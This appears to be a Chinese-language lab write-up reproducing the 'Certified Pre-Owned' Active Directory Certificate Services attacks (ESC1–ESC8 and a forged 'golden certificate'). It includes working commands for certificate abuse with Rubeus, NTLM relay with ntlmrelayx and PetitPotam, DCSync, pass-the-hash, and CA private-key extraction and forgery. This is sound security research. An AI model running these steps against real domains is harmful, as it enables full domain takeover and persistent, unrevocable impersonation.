Certified Pre-Owned

背景

Certified Pre-Owned是安全研究员@（Will Schroeder和Lee Christensen）在6月17号提出的针对Active Directory 证书服务的一个攻击手法，并于8月5日在Black Hat 2021中进行展示。

https://www.blackhat.com/us-21/briefings/schedule/#certified-pre-owned-abusing-active-directory-certificate-services-23168

也是本人比较感兴趣的一个议题。

参考资料：

AD CS 白皮书

https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

什么是PKI？

PKI 是软件、加密技术、流程和服务的组合，使组织能够保护其数据、通信和业务交易。PKI 依赖于经过身份验证的用户和受信任资源之间的数字证书交换。可以使用证书来保护数据并管理来自组织内外的用户和计算机的身份凭证。

Active Directory 证书服务 (AD CS)

Active Directory 证书服务 (AD CS) 提供公钥基础结构 (PKI) 功能，该功能支持 Windows 域上的身份和其他安全功能（即文件加密、电子邮件加密和网络流量加密）。它可以为组织的内部使用创建、验证和撤销公钥证书。

根据 Microsoft 的说法，AD CS 是一个“服务器角色，它允许构建公钥基础结构 (PKI) 并为组织提供公钥加密、数字证书和数字签名功能”。

AD CS Windows Server 角色是实施 PKI 解决方案。

AD CS 提供所有与 PKI 相关的组件作为角色服务。每个角色服务负责证书基础架构的特定部分，同时协同工作以形成完整的解决方案。

AD CS 角色包括以下角色服务：

认证机构

CA 的主要目的是颁发证书、撤销证书以及发布授权信息访问（AIA）和撤销信息。您部署的第一个 CA 将成为您内部 PKI 的根。随后，您可以部署位于 PKI 层次结构中的从属 CA，根 CA 位于其顶部。从属 CA 隐式信任根 CA，并隐含地信任它颁发的证书。

证书颁发机构 Web 注册

此组件提供了一种在用户使用未加入域或运行 Windows 以外的操作系统的设备的情况下颁发和续订证书的方法。

Online Responder

可以使用此组件来配置和管理在线证书状态协议 (OCSP) 验证和吊销检查。在线响应程序解码特定证书的吊销状态请求，评估这些证书的状态，并返回具有请求的证书状态信息的签名响应。

网络设备注册服务 (NDES)

通过该组件，路由器、交换机和其他网络设备可以从 AD CS 获取证书。

证书注册 Web 服务 (CES)

此组件用作运行 Windows 的计算机和 CA 之间的代理客户端。CES 使用户、计算机或应用程序能够通过使用 Web 服务连接到 CA：

• 请求、更新和安装颁发的证书。
• 检索证书吊销列表 (CRL)。
• 下载根证书。
• 通过互联网或跨森林注册。
• 为属于不受信任的 AD DS 域或未加入域的计算机自动续订证书。

证书注册策略 Web 服务

该组件使用户能够获取证书注册策略信息。结合CES，它可以在用户设备未加入域或无法连接到域控制器的场景中实现基于策略的证书注册。

常见的CA 层次结构

常见的CA 层次结构有两个级别，根 CA 位于顶级，下级 CA 在第二级颁发。通常，使用根 CA 来构建 CA 层次结构。在这种情况下，根 CA 保持离线状态，依赖从属 CA 颁发和管理证书。

一些更复杂的 CA 设计包括：

• 具有策略 CA 的 CA 层次结构。策略 CA 是从属 CA，它们直接位于根 CA 之下，并位于 CA 层次结构中的其他从属 CA 之上。使用策略 CA 向其从属 CA 颁发 CA 证书。
• 具有交叉认证信任的 CA 层次结构。在这种情况下，当一个层次结构中的 CA 向另一个层次结构中的 CA 颁发交叉认证的 CA 证书时，两个独立的 CA 层次结构会互操作。执行此操作时，将在不同 CA 层次结构之间建立相互信任。

环境搭建

在DC上安装证书服务。

勾选证书颁发机构(实际情况下有时也会勾选web服务，因为有时会用到其web服务的一些功能，这里仅勾选web服务)

进入AD CS进行配置

选择企业CA

选择根CA

创建新的私钥，然后一路默认就行

辅助域控搭建

这里使用的是windows server 2012做辅助域控

从主域复制

ESC1复现-域管理员的提权

攻击路径

如果攻击者可以在证书服务请求 （CSR） 中指定主题替代名称 （SAN），则请求者可以请求任何人（例如域管理员用户）的证书

漏洞分析

想要滥用这种错误配置，必须满足以下条件：

1. 企业 CA 授予低特权用户注册权。
2. 经理批准请求的证书是禁用的
3. 无需授权签名
4. 过于宽松的证书模板授予低特权用户注册权
5. 证书模板定义启用身份验证的 EKUs
6. 证书模板允许请求者指定其他主题替代名称（主题名称）

具体在AD DC中体现在证书模板中的设置错误：

错误的配置在：

然后在“安全”中，

还有在”请求处理中“：

这些设置允许低权限用户使用任意SAN请求证书，从而允许低权限用户通过Kerberos或SChannel作为域中的任何主体进行身份验证。

如果Web服务器模板具有CT\标志\注册者\提供启用的\主题标志，然后如果IT管理员添加“客户端身份验证”或“智能卡登录”eku，则在GUI未发出警告的情况下发生易受攻击的情况。

综上所述，如果存在允许这些设置的已发布证书模板，攻击者可以作为环境中的任何人（包括域管理员（或域控制器））请求证书，并使用该证书为所述用户获取合法TGT。

漏洞利用

使用漏洞作者发布的测试工具。

https://github.com/GhostPack/PSPKIAudit

在域主机上运行

我们重点注意

Client Authentication (OID 1.3.6.1.5.5.7.3.2)
PKINIT Client Authentication (1.3.6.1.5.2.3.4)
Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2)
Any Purpose (OID 2.5.29.37.0)

LDAP查询语句如下：

1 (&(objectclass=pkicertificatetemplate)(!(mspki‐enrollmentflag:1.2.840.113 556.1.4.804:=2))(|(mspki‐ra‐signature=0)(!(mspki‐rasignature=*)))(|(pkiexte ndedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextend edkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4) (pkiexte ndedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate‐name‐ flag:1.2.840.113556.1.4.804:=1))

那么我们首先申请一张证书，并将upn名称改成域管

查看一下证书，

certutil -user -store My

查看一下本地证书信息

导出证书：

certutil -user -exportPFX fb490c8c9b8bdd3fcb280e568cbcb0ca0b3e13c1 adcs.pfx

-exportPFX为证书哈希(sha1）

然后使用rubeus攻击，利用Rubeus请求票证，并将生成的票证用于PTT

Rubeus.exe asktgt /user:administrator /certificate:C:\Users\text.NB\Desktop\PSPKIAudit-main\PSPKIAudit-main\adcs.pfx /password:123223 /ptt

/user：模拟的账户

/certificate：申请的证书

/password：证书密码

成功获取域控权

查看本地缓存的票证

klist

ESC2

攻击路径

攻击者可以使用带有任何目的 EKU 功能的证书进行任何目的，包括客户端和服务器身份验证。攻击者也可以使用无 EKUs 的证书来进行任何目的，也可以签署新证书。

因此，使用从属 CA 证书，攻击者可以指定新证书中的任意 EKUs 或字段。

漏洞复现

在ESC1中的条件下需要满足下面的条件:

证书模板定义了任何目的EKUS或没有EKU

1. 企业 CA 授予低特权用户注册权。
2. 批准请求的证书是禁用的
3. 无需授权签名
4. 过于宽松的证书模板授予低特权用户注册权
5. 证书模板定义了任何目的EKUS或没有EKU

证书请求代理 EKU (OID 1.3.6.1.4.1.311.20.2.1)

1. 证书模板允许请求者指定其他主题替代名称（主题名称）

使用公开的工具可以看到存在漏洞;

利用点：攻击者仍然可以使用任何 EKU 和任意证书值创建新证书，其中有很多攻击者可能会滥用（例如，代码签名、服务器身份验证等）

LDAP查询

可以使用以下LDAP查询来枚举与此场景匹配的模板：

&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusag e=*))))

个人觉得这个利用面并不大。

ESC3

攻击路径

证书请求代理 EKU允许委托人代表其他用户申请证书。对于任何注册此模板的用户，生成的证书可用于代表任何用户共同签署请求。

漏洞复现

利用条件跟ESC1差不多，还需要：应用策略开启“证书申请代理”

使用公开的工具可以看到存在漏洞;

证书请求代理 EKU (OID 1.3.6.1.4.1.311.20.2.1) 在Microsoft 文档中称为“注册代理” ，允许委托人代表另一个用户注册证书。对于注册此类模板的任何人，生成的证书可用于代表任何用户、任何架构版本 1 模板或任何需要适当“授权签名/应用程序策略”的架构版本 2+ 模板共同签署请求发行要求。

微软文档：

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cersod/97f47d4c-2901-41fa-9616-96b94e1b5435

已在Active Directory中定义了一个证书模板，该模板具有msPKI-RA-Application-Policies属性 集，并带有增强的密钥使用 (EKU)；例如，1.3.6.1.4.1.311.20.2.1，证书请求代理。证书模板还在msPKI-Enrollment-Flag 字段上设置了 0x00000040 (CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT) 位。
注册代理具有包含 EKU 的证书，该 EKU 具有与先前模板的msPKI-RA-Application-Policies 属性中定义的相同对象标识符 (OID) 。

那么我们可以代表其他用户申请证书

CA 确定与请求对应的证书模板需要注册代理的签名。它验证签名并验证与签名关联的证书是否具有所需的 EKU，如 [MS-WCCE] 部分。验证完成后，CA 颁发证书并将其发送给注册代理。

ESC4

证书模板是活动目录中的可安全对象，这意味着在其"安全描述符"中，它们指定哪些活动目录委托人对模板具有特定权利。如果允许意外或非特权的委托人编辑安全设置，则模板将被视为在访问控制级别上配置错误。攻击者可能会将错误配置推送到模板，从而允许他们泄露活动目录域的元素。

Chris Falta 讨论了一种使用此错误配置来模拟域名用户、修改模板以允许虚拟智能卡注册、获取证书然后重置模板的方法。

https://github.com/cfalta/PoshADCS

如果模板的访问控制条目 (ACE) 允许意外的或没有特权的 Active Directory 主体编辑模板中的敏感安全设置，则我们说模板在访问控制级别配置错误。也就是说，如果攻击者能够将访问链接到一个点，他们可以主动将错误配置推送到一个不容易受到攻击的模板（例如，通过启用模板的 mspki-certificate-name-flag 属性中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 位允许域身份验证）

ESC5

易受攻击的PKI对象访问控制，基于ACL的相互连接关系的web是广泛的，它可以影响adcs的安全性。证书模板之外的多个对象和证书颁发机构本身可能会对整个AD CS系统产生安全影响。

这些可能性包括（但不限于）：

● CA服务器的AD计算机对象（即通过S4U2Self或S4U2Proxy进行破坏）

● CA服务器的RPC/DCOM服务器

● 容器CN=Public Key Services、CN=Services、CN=Configuration、DC=<COMPANY>、DC=<COM>中的任何子代AD对象或容器（例如，证书模板容器、证书颁发机构容器、NTAuthCertificates对象、注册服务容器等）

如果低权限攻击者可以控制其中任何一个，则该攻击可能会危及PKI系统。

ESC6

这个没什么好说的。

https://cqureacademy.com/blog/enhanced-key-usage
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn786426(v=ws.11)#controlling-user-added-subject-alternative-names
https://www.keyfactor.com/blog/hidden-dangers-certificate-subject-alternative-names-sans/

ESC7

证书机构还可以通过证书认证机构命令访问权限。

有两个重要的：

1. 管理卡（CA 管理员
2. 管理认证（经理批准）权限。这些权限应进行审核。

管理CA权限允许委托人执行多项行政操作，包括修改配置数据。管理认证权限允许用户批准待定的证书。

在证书模板之外，证书颁发机构本身具有一组权限，以保护各种 CA 操作。这些权限可以从 cert srv . msc 访问，右击一个 CA ，选择属性，然后切换到 Security 选项卡

可以使用 PSPK I 的模块枚举

Get-CertificationAuthority|Get-CertificationAuthorityAcl

其它细节可以参考：

https://social.technet.microsoft.com/wiki/contents/articles/10942.ad-cs-security-guidance.aspx#Roles_and_activities
https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

ESC8

法国人将其命名为"小河马"？？？？？or 小波坦？？？？

漏洞分析

AD CS 通过管理员可以选择安装的附加服务器角色支持多种基于 HTTP 的注册方法：

证书注册 Web 界面，通过安装证书颁发机构 Web 注册角色。

作为在http://<ADCSSERVER>/certsrv/ 上运行的 IIS 托管的 ASP Web 注册应用程序公开

证书注册服务 (CES)，通过安装证书注册 Web 服务角色。通过安装证书注册策略 Web 服务角色，与证书注册策略 (CEP) Web 服务协同工作。网络设备注册服务 (NDES)，通过安装网络设备注册服务 角色。

这些基于 HTTP 的证书注册接口都容易受到 NTLM 中继攻击。

使用 NTLM 中继，攻击者可以模拟入站 NTLM 身份验证的受害者用户。在冒充受害用户时，攻击者可以访问这些 Web 界面并根据用户或机器证书模板请求客户端身份验证证书。

默认情况下，证书注册服务（CES）、证书注册策略（CEP）Web服务和网络设备注册服务（NDES）通过其授权HTTP头支持协商身份验证。协商认证支持Kerberos和NTLM；因此，攻击者可以在中继攻击期间协商到NTLM身份验证。这些web服务在默认情况下不会启用HTTPS，但是HTTPS本身不能防止NTLM中继攻击。只有当HTTPS与通道绑定相结合时，才能保护HTTPS服务免受NTLM中继攻击，adcs没有为IIS上的身份验证启用扩展保护，那么并不能启用通道绑定。

NTLM中继到AD CS的web注册接口为攻击者提供了许多优势。攻击者在执行NTLM中继攻击时通常会遇到的一个问题是，当发生入站身份验证并由攻击者中继时，滥用该身份验证的时间很短。特权帐户只能对攻击者的计算机进行一次身份验证。攻击者的工具可以尝试使NTLM会话尽可能长时间处于活动状态，但该会话通常只能在短时间内使用。此外，攻击者无法在受限制的NTLM会话中实施身份验证。

攻击者可以通过中继到AD CS web界面来解决这些限制。攻击者可以使用NTLM中继访问AD CS web界面，并请求客户端身份验证证书作为受害者帐户。然后，攻击者可以通过Kerberos或Schannel进行身份验证，或者使用PKINIT获取受害者帐户的NTLM哈希。

这将使攻击者在很长一段时间内（即，无论证书的有效期有多长）对受害者帐户的访问得以巩固，并且攻击者可以使用多个身份验证协议自由地对任何服务进行身份验证，而无需NTLM签名。

漏洞复现

首先我们需要搭建一个辅助域控

选择从主域复制，然后默认就行。

repadmin /replsummary 测试一下

编译 ExAndroidDev 版本的 NtlmRelayX

git clone git clone https://github.com/ExAndroidDev/impacket
cd impacket
git switch ntlmrelayx-adcs-attack
python3 -m pip install .

这里使用的是kali linux环境

cd examples
python3 ntlmrelayx.py -t http://192.168.50.142/certsrv/certfnsh.asp -smb2support --adcs --template 'adcs'

然后使用PetitPotam可以强制帐户向受到攻击的计算机进行身份验证。

https://github.com/topotam/PetitPotam

 PetitPotam.exe <captureServerIP> <targetServerIP>

ntlmrelayx成功进行relay，并获取到证书信息

Ntlmrelay 将生成 CSR 并尝试滥用易受攻击的 PKI 模板来生成证书

也可以使用@Lee Christensen强调了一种这样的技术，“printerbug”，它通过强制计算机帐户使用MS-RPRN对攻击者的主机进行身份验证。

使用 Rubeus 获取带有证书的 Kerberos 票证R

ubeus.exe asktgt /user:DC$ /certificate:MIIRFQIBAzCCEN8G /ptt

使用命令 klist 检查一下

可以看到现在拥有一张具有特权的票证，可以让DCSyncing DC

我们拥有 DCSync 权限，可以转储域控制器中所有用户的所有哈希值/

PTH 到 DomainAdmin

由于我们现在拥有 DomainAdmin NTLM 哈希，因此我们只需执行Pass The Hash即可使用 Domain Admin 哈希。

这可以通过许多不同的方式来实现，这里我们使用 mimikatz pth

在DC中可以看到

域持久性

漏洞分析

默认情况下， AD 启用基于证书的身份验证。

要使用证书进行身份验证， CA 必须向账号颁发一个包含允许域身份验证的 EKU OID 的证书（例如客户端身份验证）。

当 账号使用证书进行身份验证时， AD 在根 CA 和 NT Auth Certificates 验证证书链对象指定的 CA 证书。

Active Directory 企业 CA 与 AD 的身份验证系统挂钩，CA 根证书私钥用于签署新颁发的证书。如果我们窃取了这个私钥，我们是否能够伪造我们自己的证书，该证书可用于（无需智能卡）作为组织中的任何人向 Active Directory 进行身份验证？

作者命名为黄金证书

漏洞利用

证书存在于 CA 服务器中，如果 TPM/HSM 不用于基于硬件的保护，那么其私钥受机器 DPAPI 保护。如果密钥不受硬件保护，Mimikatz 和 SharpDPAPI 可以从 CA 中提取 CA 证书和私钥：

设置密码就可以直接导出了

我们也可以直接使用工具导出。例如Mimikatz，SharpDPAPI.exe

这里我使用的是SharpDPAPI.exe

https://github.com/GhostPack/SharpDPAPI
SharpDPAPI.exe certificates /machine

使用Open SSL 可以直接输出证书

openssl pkcs12 -in ca.pem -keyex -CSP "Microsoft Enhanced  Cryptographic Provider v1.0" -export -out ca.pfx

对于包含CA证书和私钥的CA.pfx文件，伪造证书的一种方法是将其导入单独的脱机CA，并使用MimiKatz的crypto：：scauth函数生成和签名证书。

或者，可以手动生成证书，以确保对每个字段的粒度控制，并消除建立单独系统的需要。

在另一台主机中导入证书

我们可以使用原作者分布的工具一键伪造证书。

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "localadmin@theshire.local" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!

ForgeCert的原理

https://people.eecs.berkeley.edu/~jonah/bc/org/bouncycastle/x509/X509V3CertificateGenerator.html

伪造证书的过程可以在我们控制的主机中进行伪造。

伪造证书时指定的目标用户需要在 AD 中处于活动状态/启用状态，并且能够进行身份验证，因为身份验证交换仍将作为该用户进行。例如，试图伪造 krbtgt 的证书是行不通的。

这个伪造的证书将有效到指定的结束日期（这里为一年），并且只要根 CA 证书有效（一般来说证书的有效期从 5 年开始，但通常延长到 10 年以上）。这种滥用也不限于普通用户帐户也适用于机器帐户。

生成的证书可以与Rubeus一起使用来请求 TGT（和/或检索用户的 NTLM；）

由于我们没有经过正常的签发流程，这个伪造的证书是不能撤销的。在ADCS中也没办法发现这个伪造的证书。